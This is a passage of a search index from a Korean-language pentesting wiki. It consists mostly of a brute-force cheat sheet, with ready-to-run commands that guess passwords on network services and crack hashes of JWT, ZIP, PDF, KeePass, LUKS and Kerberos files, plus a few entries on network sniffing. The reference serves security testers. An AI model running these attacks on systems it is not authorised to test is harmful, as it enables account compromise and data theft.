10\\nlegba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/","breadcrumbs":"Brute Force - CheatSheet » HTTP Basic Auth","id":"1064","title":"HTTP Basic Auth"},"1065":{"body":"bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/\\nlegba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/","breadcrumbs":"Brute Force - CheatSheet » HTTP - NTLM","id":"1065","title":"HTTP - NTLM"},"1066":{"body":"bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form \\"/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect\\" -V\\n# Use https-post-form mode for https http s 의 경우 \\"http-post-form\\"을 \\"**https-post-form\\"으로 변경해야 합니다.","breadcrumbs":"Brute Force - CheatSheet » HTTP - Post Form","id":"1066","title":"HTTP - Post Form"},"1067":{"body":"bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com\\n# Check also https://github.com/evilsocket/legba/wiki/HTTP","breadcrumbs":"Brute Force - CheatSheet » HTTP - CMS -- (W)ordpress, (J)oomla 또는 (D)rupal 또는 (M)oodle","id":"1067","title":"HTTP - CMS -- (W)ordpress, (J)oomla 또는 (D)rupal 또는 (M)oodle"},"1068":{"body":"bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V\\nhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V\\nnmap -sV --script imap-brute -p \\nlegba imap --username user --password data/passwords.txt --target localhost:993","breadcrumbs":"Brute Force - CheatSheet » IMAP","id":"1068","title":"IMAP"},"1069":{"body":"bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ","breadcrumbs":"Brute Force - CheatSheet » IRC","id":"1069","title":"IRC"},"107":{"body":"**SCTP (Stream Control Transmission Protocol)**는 TCP (Transmission Control Protocol) 및 **UDP (User Datagram Protocol)**와 함께 사용되도록 설계되었습니다. 그 주요 목적은 IP 네트워크에서 전화 통신 데이터를 전송하는 것을 용이하게 하며, **Signaling System 7 (SS7)**에서 볼 수 있는 많은 신뢰성 기능을 반영합니다. SCTP 는 SIGTRAN 프로토콜 계열의 핵심 구성요소로, SS7 신호를 IP 네트워크로 전송하는 것을 목표로 합니다. SCTP 에 대한 지원은 IBM AIX , Oracle Solaris , HP-UX , Linux , Cisco IOS , VxWorks 등 다양한 운영체제에서 제공되며, 이는 통신 및 네트워킹 분야에서 널리 채택되고 유용하다는 것을 보여줍니다. nmap은 SCTP에 대해 두 가지 서로 다른 스캔을 제공합니다: -sY 및 -sZ bash # Nmap fast SCTP scan\\nnmap -T4 -sY -n -oA SCTFastScan \\n# Nmap all SCTP scan\\nnmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ","breadcrumbs":"Pentesting Network » SCTP Scan","id":"107","title":"SCTP Scan"},"1070":{"body":"bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ","breadcrumbs":"Brute Force - CheatSheet » ISCSI","id":"1070","title":"ISCSI"},"1071":{"body":"bash #hashcat\\nhashcat -m 16500 -a 0 jwt.txt .\\\\wordlists\\\\rockyou.txt #https://github.com/Sjord/jwtcrack\\npython crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #John\\njohn jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256 #https://github.com/ticarpi/jwt_tool\\npython3 jwt_tool.py -d wordlists.txt #https://github.com/brendan-rius/c-jwt-cracker\\n./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8 #https://github.com/mazen160/jwt-pwn\\npython3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt #https://github.com/lmammino/jwt-cracker\\njwt-cracker \\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ\\" \\"abcdefghijklmnopqrstuwxyz\\" 6","breadcrumbs":"Brute Force - CheatSheet » JWT","id":"1071","title":"JWT"},"1072":{"body":"bash nmap --script ldap-brute -p 389 \\nlegba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match","breadcrumbs":"Brute Force - CheatSheet » LDAP","id":"1072","title":"LDAP"},"1073":{"body":"ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v\\nlegba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt","breadcrumbs":"Brute Force - CheatSheet » MQTT","id":"1073","title":"MQTT"},"1074":{"body":"bash nmap -sV --script mongodb-brute -n -p 27017 \\nuse auxiliary/scanner/mongodb/mongodb_login\\nlegba mongodb --target localhost:27017 --username root --password data/passwords.txt","breadcrumbs":"Brute Force - CheatSheet » 몽고","id":"1074","title":"몽고"},"1075":{"body":"MSSQLPwner shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt\\nmssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt\\nmssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using tickets against the hosts listed on the hosts.txt\\nmssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt # Bruteforce using passwords against the hosts listed on the hosts.txt\\nmssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt # Bruteforce using hashes against the hosts listed on the hosts.txt\\nmssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433","breadcrumbs":"Brute Force - CheatSheet » MSSQL","id":"1075","title":"MSSQL"},"1076":{"body":"bash # hydra\\nhydra -L usernames.txt -P pass.txt mysql # msfconsole\\nmsf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false # medusa\\nmedusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql #Legba\\nlegba mysql --username root --password wordlists/passwords.txt --target localhost:3306","breadcrumbs":"Brute Force - CheatSheet » MySQL","id":"1076","title":"MySQL"},"1077":{"body":"bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 ./odat.py passwordguesser -s $SERVER -d $SID\\n./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt #msf1\\nmsf> use admin/oracle/oracle_login\\nmsf> set RHOSTS \\nmsf> set RPORT 1521\\nmsf> set SID #msf2, this option uses nmap and it fails sometimes for some reason\\nmsf> use scanner/oracle/oracle_login\\nmsf> set RHOSTS \\nmsf> set RPORTS 1521\\nmsf> set SID #for some reason nmap fails sometimes when executing this script\\nnmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt oracle_login 을 patator 와 함께 사용하려면 설치 해야 합니다: bash pip3 install cx_Oracle --upgrade 오프라인 OracleSQL 해시 브루트포스 ( 버전 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, 및 11.2.0.3 ): bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30","breadcrumbs":"Brute Force - CheatSheet » OracleSQL","id":"1077","title":"OracleSQL"},"1078":{"body":"bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V\\nhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V # Insecure\\nlegba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110 # SSL\\nlegba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl","breadcrumbs":"Brute Force - CheatSheet » POP","id":"1078","title":"POP"},"1079":{"body":"bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres\\nmedusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres\\nncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432\\npatator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt\\nuse auxiliary/scanner/postgres/postgres_login\\nnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 \\nlegba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432","breadcrumbs":"Brute Force - CheatSheet » PostgreSQL","id":"1079","title":"PostgreSQL"},"108":{"body":"IDS and IPS Evasion","breadcrumbs":"Pentesting Network » IDS 및 IPS 우회","id":"108","title":"IDS 및 IPS 우회"},"1080":{"body":".deb 패키지를 설치하려면 https://http.kali.org/pool/main/t/thc-pptp-bruter/ 에서 다운로드할 수 있습니다. bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package\\ncat rockyou.txt | thc-pptp-bruter –u ","breadcrumbs":"Brute Force - CheatSheet » PPTP","id":"1080","title":"PPTP"},"1081":{"body":"bash ncrack -vv --user -P pwds.txt rdp://\\nhydra -V -f -L -P rdp://\\nlegba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]","breadcrumbs":"Brute Force - CheatSheet » RDP","id":"1081","title":"RDP"},"1082":{"body":"bash msf> use auxiliary/scanner/redis/redis_login\\nnmap --script redis-brute -p 6379 \\nhydra –P /path/pass.txt redis://: # 6379 is the default\\nlegba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]","breadcrumbs":"Brute Force - CheatSheet » 레디스","id":"1082","title":"레디스"},"1083":{"body":"bash hydra -l -P rexec:// -v -V","breadcrumbs":"Brute Force - CheatSheet » Rexec","id":"1083","title":"Rexec"},"1084":{"body":"bash hydra -l -P rlogin:// -v -V","breadcrumbs":"Brute Force - CheatSheet » Rlogin","id":"1084","title":"Rlogin"},"1085":{"body":"bash hydra -L rsh:// -v -V http://pentestmonkey.net/tools/misc/rsh-grind","breadcrumbs":"Brute Force - CheatSheet » Rsh","id":"1085","title":"Rsh"},"1086":{"body":"bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ","breadcrumbs":"Brute Force - CheatSheet » Rsync","id":"1086","title":"Rsync"},"1087":{"body":"bash hydra -l root -P passwords.txt rtsp","breadcrumbs":"Brute Force - CheatSheet » RTSP","id":"1087","title":"RTSP"},"1088":{"body":"bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22\\n# Try keys from a folder\\nlegba sftp --username admin --password \'@/some/path/*\' --ssh-auth-mode key --target localhost:22","breadcrumbs":"Brute Force - CheatSheet » SFTP","id":"1088","title":"SFTP"},"1089":{"body":"bash msf> use auxiliary/scanner/snmp/snmp_login\\nnmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ]\\nonesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt \\nhydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp","breadcrumbs":"Brute Force - CheatSheet » SNMP","id":"1089","title":"SNMP"},"109":{"body":"Nmap Summary (ESP)","breadcrumbs":"Pentesting Network » 추가 nmap 옵션","id":"109","title":"추가 nmap 옵션"},"1090":{"body":"bash nmap --script smb-brute -p 445 \\nhydra -l Administrator -P words.txt 192.168.1.12 smb -t 1\\nlegba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ]","breadcrumbs":"Brute Force - CheatSheet » SMB","id":"1090","title":"SMB"},"1091":{"body":"bash hydra -l -P /path/to/passwords.txt smtp -V\\nhydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL\\nlegba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ]","breadcrumbs":"Brute Force - CheatSheet » SMTP","id":"1091","title":"SMTP"},"1092":{"body":"bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 \\nlegba socks5 --target localhost:1080 --username admin --password data/passwords.txt\\n# With alternative address\\nlegba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address \'internal.company.com\' --socks5-port 8080","breadcrumbs":"Brute Force - CheatSheet » SOCKS","id":"1092","title":"SOCKS"},"1093":{"body":"bash #Use the NetBIOS name of the machine as domain\\ncrackmapexec mssql -d -u usernames.txt -p passwords.txt\\nhydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssql\\nmedusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql\\nnmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts\\nmsf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT","breadcrumbs":"Brute Force - CheatSheet » SQL Server","id":"1093","title":"SQL Server"},"1094":{"body":"bash hydra -l root -P passwords.txt [-t 32] ssh\\nncrack -p 22 --user root -P passwords.txt [-T 5]\\nmedusa -u root -P 500-worst-passwords.txt -h -M ssh\\npatator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg=\'Authentication failed\'\\nlegba ssh --username admin --password wordlists/passwords.txt --target localhost:22\\n# Try keys from a folder\\nlegba ssh --username admin --password \'@/some/path/*\' --ssh-auth-mode key --target localhost:22 약한 SSH 키 / Debian 예측 가능한 PRNG 일부 시스템은 암호화 자료를 생성하는 데 사용되는 랜덤 시드에 알려진 결함이 있습니다. 이로 인해 키 공간이 극적으로 줄어들 수 있으며, 이는 snowdroppe/ssh-keybrute 와 같은 도구로 브루트포스 공격을 받을 수 있습니다. g0tmi1k/debian-ssh 와 같은 약한 키의 미리 생성된 세트도 사용할 수 있습니다.","breadcrumbs":"Brute Force - CheatSheet » SSH","id":"1094","title":"SSH"},"1095":{"body":"STOMP 텍스트 프로토콜은 RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와 원활한 통신 및 상호 작용을 허용하는 널리 사용되는 메시징 프로토콜입니다. 이는 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다. bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt","breadcrumbs":"Brute Force - CheatSheet » STOMP (ActiveMQ, RabbitMQ, HornetQ 및 OpenMQ)","id":"1095","title":"STOMP (ActiveMQ, RabbitMQ, HornetQ 및 OpenMQ)"},"1096":{"body":"bash hydra -l root -P passwords.txt [-t 32] telnet\\nncrack -p 23 --user root -P passwords.txt [-T 5]\\nmedusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \\\\\\n--username admin \\\\\\n--password wordlists/passwords.txt \\\\\\n--target localhost:23 \\\\\\n--telnet-user-prompt \\"login: \\" \\\\\\n--telnet-pass-prompt \\"Password: \\" \\\\\\n--telnet-prompt \\":~$ \\" \\\\\\n--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin","breadcrumbs":"Brute Force - CheatSheet » 텔넷","id":"1096","title":"텔넷"},"1097":{"body":"bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc\\nmedusa -h –u root -P /root/Desktop/pass.txt –M vnc\\nncrack -V --user root -P /root/Desktop/pass.txt :>POR>T\\npatator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!=\'Authentication failure\' --max-retries 0 –x quit:code=0\\nuse auxiliary/scanner/vnc/vnc_login\\nnmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt \\nlegba vnc --target localhost:5901 --password data/passwords.txt #Metasploit\\nuse auxiliary/scanner/vnc/vnc_login\\nset RHOSTS \\nset PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst","breadcrumbs":"Brute Force - CheatSheet » VNC","id":"1097","title":"VNC"},"1098":{"body":"bash crackmapexec winrm -d -u usernames.txt -p passwords.txt","breadcrumbs":"Brute Force - CheatSheet » Winrm","id":"1098","title":"Winrm"},"1099":{"body":"","breadcrumbs":"Brute Force - CheatSheet » Local","id":"1099","title":"Local"},"11":{"body":"WebSec 는 암스테르담 에 본사를 둔 전문 사이버 보안 회사로, 전 세계 의 기업을 최신 사이버 보안 위협으로부터 보호 하기 위해 공격 보안 서비스 를 제공합니다. WebSec는 암스테르담과 와이오밍에 사무소를 둔 국제 보안 회사입니다. 그들은 올인원 보안 서비스 를 제공하며, 이는 모든 것을 포함합니다; Pentesting, 보안 감사, 인식 교육, 피싱 캠페인, 코드 검토, 익스플로잇 개발, 보안 전문가 아웃소싱 등입니다. WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 자신의 기술에 매우 자신감이 있다는 것입니다. 그들은 최고 품질의 결과를 보장 한다고 웹사이트에 명시하고 있습니다. \\" 우리가 해킹할 수 없다면, 당신은 지불하지 않습니다! \\" 더 많은 정보는 그들의 웹사이트 와 블로그 를 확인하세요! 위의 내용 외에도 WebSec는 HackTricks의 헌신적인 후원자 이기도 합니다. - YouTube","breadcrumbs":"HackTricks » WebSec","id":"11","title":"WebSec"},"110":{"body":"Misconfigured routers, firewalls, and network devices 는 때때로 nonpublic source addresses 를 소스로 사용하여 network probes에 응답합니다. tcpdump 는 테스트 중에 사설 주소로부터 수신된 패킷을 식별하는 데 사용할 수 있습니다. 구체적으로 Kali Linux에서는 퍼블릭 인터넷에서 접근 가능한 eth2 interface 에서 패킷을 캡처할 수 있습니다. 설정이 NAT 또는 Firewall 뒤에 있는 경우 이러한 패킷은 필터링될 가능성이 높다는 점에 유의해야 합니다. bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16\\ntcpdump: verbose output suppressed, use -v or -vv for full protocol decode\\nlistening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes\\nIP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64\\nIP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64","breadcrumbs":"Pentesting Network » 내부 IP 주소 확인","id":"110","title":"내부 IP 주소 확인"},"1100":{"body":"http://hashtoolkit.com/reverse-hash? (MD5 & SHA1) https://shuck.sh/get-shucking.php (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge\'s value) https://www.onlinehashcrack.com/ (해시, WPA2 캡처, MSOffice, ZIP, PDF 아카이브 등) https://crackstation.net/ (해시) https://md5decrypt.net/ (MD5) https://gpuhash.me/ (해시 및 파일 해시) https://hashes.org/search.php (해시) https://www.cmd5.org/ (해시) https://hashkiller.co.uk/Cracker (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) https://www.md5online.org/md5-decrypt.html (MD5) http://reverse-hash-lookup.online-domain-tools.com/ 해시를 무차별 대입 공격하기 전에 이 내용을 확인하세요.","breadcrumbs":"Brute Force - CheatSheet » Online cracking databases","id":"1100","title":"Online cracking databases"},"1101":{"body":"bash #sudo apt-get install fcrackzip\\nfcrackzip -u -D -p \'/usr/share/wordlists/rockyou.txt\' chall.zip bash zip2john file.zip > zip.john\\njohn zip.john bash #$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$\\nhashcat.exe -m 13600 -a 0 .\\\\hashzip.txt .\\\\wordlists\\\\rockyou.txt\\n.\\\\hashcat.exe -m 13600 -i -a 0 .\\\\hashzip.txt #Incremental attack 알려진 평문 zip 공격 암호화된 zip 안에 포함된 파일의 평문 (또는 평문의 일부)을 알아야 합니다. 암호화된 zip 안에 포함된 파일의 이름과 크기 를 확인하려면 다음을 실행하세요: 7z l encrypted.zip bkcrack 를 릴리스 페이지에서 다운로드하세요. bash # You need to create a zip file containing only the file that is inside the encrypted zip\\nzip plaintext.zip plaintext.file ./bkcrack -C -c -P -p \\n# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18\\n# With that key you can create a new zip file with the content of encrypted.zip\\n# but with a different pass that you set (so you can decrypt it)\\n./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd\\nunzip unlocked.zip #User new_pwd as password","breadcrumbs":"Brute Force - CheatSheet » ZIP","id":"1101","title":"ZIP"},"1102":{"body":"bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z bash #Download and install requirements for 7z2john\\nwget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl\\napt-get install libcompress-raw-lzma-perl\\n./7z2john.pl file.7z > 7zhash.john","breadcrumbs":"Brute Force - CheatSheet » 7z","id":"1102","title":"7z"},"1103":{"body":"bash apt-get install pdfcrack\\npdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt\\n#pdf2john didn\'t work well, john didn\'t know which hash type was\\n# To permanently decrypt the pdf\\nsudo apt-get install qpdf\\nqpdf --password= --decrypt encrypted.pdf plaintext.pdf","breadcrumbs":"Brute Force - CheatSheet » PDF","id":"1103","title":"PDF"},"1104":{"body":"PDF 소유자 비밀번호를 해제하려면 다음을 확인하세요: https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/","breadcrumbs":"Brute Force - CheatSheet » PDF 소유자 비밀번호","id":"1104","title":"PDF 소유자 비밀번호"},"1105":{"body":"bash git clone https://github.com/Sjord/jwtcrack.git\\ncd jwtcrack #Bruteforce using crackjwt.py\\npython crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #Bruteforce using john\\npython jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john\\njohn jwt.john #It does not work with Kali-John","breadcrumbs":"Brute Force - CheatSheet » JWT","id":"1105","title":"JWT"},"1106":{"body":"bash Format:USUARIO:ID:HASH_LM:HASH_NT:::\\njohn --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes\\nhashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot","breadcrumbs":"Brute Force - CheatSheet » NTLM 크래킹","id":"1106","title":"NTLM 크래킹"},"1107":{"body":"bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john\\nkeepass2john file.kdbx > hash #The keepass is only using password\\nkeepass2john -k file.kdbx > hash # The keepass is also using a file as a needed credential\\n#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john\\njohn --wordlist=/usr/share/wordlists/rockyou.txt hash","breadcrumbs":"Brute Force - CheatSheet » Keepass","id":"1107","title":"Keepass"},"1108":{"body":"bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast\\nhashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt\\n./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi","breadcrumbs":"Brute Force - CheatSheet » Keberoasting","id":"1108","title":"Keberoasting"},"1109":{"body":"방법 1 설치: https://github.com/glv2/bruteforce-luks bash bruteforce-luks -f ./list.txt ./backup.img\\ncryptsetup luksOpen backup.img mylucksopen\\nls /dev/mapper/ #You should find here the image mylucksopen\\nmount /dev/mapper/mylucksopen /mnt 방법 2 bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096\\ndd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1\\nhashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt\\ncryptsetup luksOpen backup.img mylucksopen\\nls /dev/mapper/ #You should find here the image mylucksopen\\nmount /dev/mapper/mylucksopen /mnt 또 다른 Luks BF 튜토리얼: http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1","breadcrumbs":"Brute Force - CheatSheet » Lucks 이미지","id":"1109","title":"Lucks 이미지"},"111":{"body":"Sniffing을 통해 캡처된 frames와 packets를 검토하여 IP ranges, subnet sizes, MAC addresses 및 hostnames 등의 세부 정보를 알 수 있습니다. 네트워크가 잘못 구성되어 있거나 switching fabric이 과부하 상태이면 공격자는 passive network sniffing을 통해 민감한 정보를 캡처할 수 있습니다. 스위치된 Ethernet 네트워크가 제대로 구성되어 있다면, 오직 broadcast frames와 당신의 MAC address로 향하는 트래픽만 보입니다.","breadcrumbs":"Pentesting Network » Sniffing","id":"111","title":"Sniffing"},"1110":{"body":"bash #John hash format\\n:$mysqlna$*\\ndbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d","breadcrumbs":"Brute Force - CheatSheet » Mysql","id":"1110","title":"Mysql"},"1111":{"body":"bash gpg2john private_pgp.key #This will generate the hash and save it in a file\\njohn --wordlist=/usr/share/wordlists/rockyou.txt ./hash","breadcrumbs":"Brute Force - CheatSheet » PGP/GPG 개인 키","id":"1111","title":"PGP/GPG 개인 키"},"1112":{"body":"","breadcrumbs":"Brute Force - CheatSheet » Cisco","id":"1112","title":"Cisco"},"1113":{"body":"https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py 를 사용한 다음 john을 실행하세요.","breadcrumbs":"Brute Force - CheatSheet » DPAPI 마스터 키","id":"1113","title":"DPAPI 마스터 키"},"1114":{"body":"비밀번호로 보호된 열이 있는 xlsx 파일이 있는 경우 다음과 같이 해제할 수 있습니다: 구글 드라이브에 업로드 하면 비밀번호가 자동으로 제거됩니다. 수동으로 제거 하려면: bash unzip file.xlsx\\ngrep -R \\"sheetProtection\\" ./*\\n# Find something like: \\n# Remove that line and rezip the file\\nzip -r file.xls .","breadcrumbs":"Brute Force - CheatSheet » Open Office 비밀번호 보호 열","id":"1114","title":"Open Office 비밀번호 보호 열"},"1115":{"body":"bash # From https://github.com/Ridter/p12tool\\n./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt\\n# From https://github.com/crackpkcs12/crackpkcs12\\ncrackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx","breadcrumbs":"Brute Force - CheatSheet » PFX 인증서","id":"1115","title":"PFX 인증서"},"1116":{"body":"해시 예시: https://openwall.info/wiki/john/sample-hashes","breadcrumbs":"Brute Force - CheatSheet » 도구","id":"1116","title":"도구"},"1117":{"body":"bash hash-identifier\\n> ","breadcrumbs":"Brute Force - CheatSheet » 해시 식별자","id":"1117","title":"해시 식별자"},"1118":{"body":"Rockyou Probable-Wordlists Kaonashi Seclists - Passwords","breadcrumbs":"Brute Force - CheatSheet » Wordlists","id":"1118","title":"Wordlists"},"1119":{"body":"kwprocessor : 고급 키보드 워크 생성기로, 구성 가능한 기본 문자, 키맵 및 경로를 지원합니다. bash kwp64.exe basechars\\\\custom.base keymaps\\\\uk.keymap routes\\\\2-to-10-max-3-direction-changes.route -o D:\\\\Tools\\\\keywalk.txt","breadcrumbs":"Brute Force - CheatSheet » Wordlist Generation Tools","id":"1119","title":"Wordlist Generation Tools"},"112":{"body":"bash sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host\\ntcpdump -i icmp #Listen to icmp packets\\nsudo bash -c \\"sudo nohup tcpdump -i eth0 -G 300 -w \\\\\\"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\\\\\\" -W 50 \'tcp and (port 80 or port 443)\' &\\" 또한 SSH 세션을 통해 원격 머신의 패킷을 Wireshark를 GUI로 사용하여 실시간으로 캡처할 수 있다. ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -\\nssh @ tcpdump -i -U -s0 -w - \'port not 22\' | sudo wireshark -k -i - # Exclude SSH traffic","breadcrumbs":"Pentesting Network » TCPDump","id":"112","title":"TCPDump"},"1120":{"body":"read /etc/john/john.conf 를 읽고 구성합니다. bash john --wordlist=words.txt --rules --stdout > w_mutated.txt\\njohn --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules","breadcrumbs":"Brute Force - CheatSheet » John mutation","id":"1120","title":"John mutation"},"1121":{"body":"Hashcat 공격 단어 목록 공격 (-a 0) 규칙 포함 Hashcat 은 이미 규칙이 포함된 폴더 와 함께 제공되지만 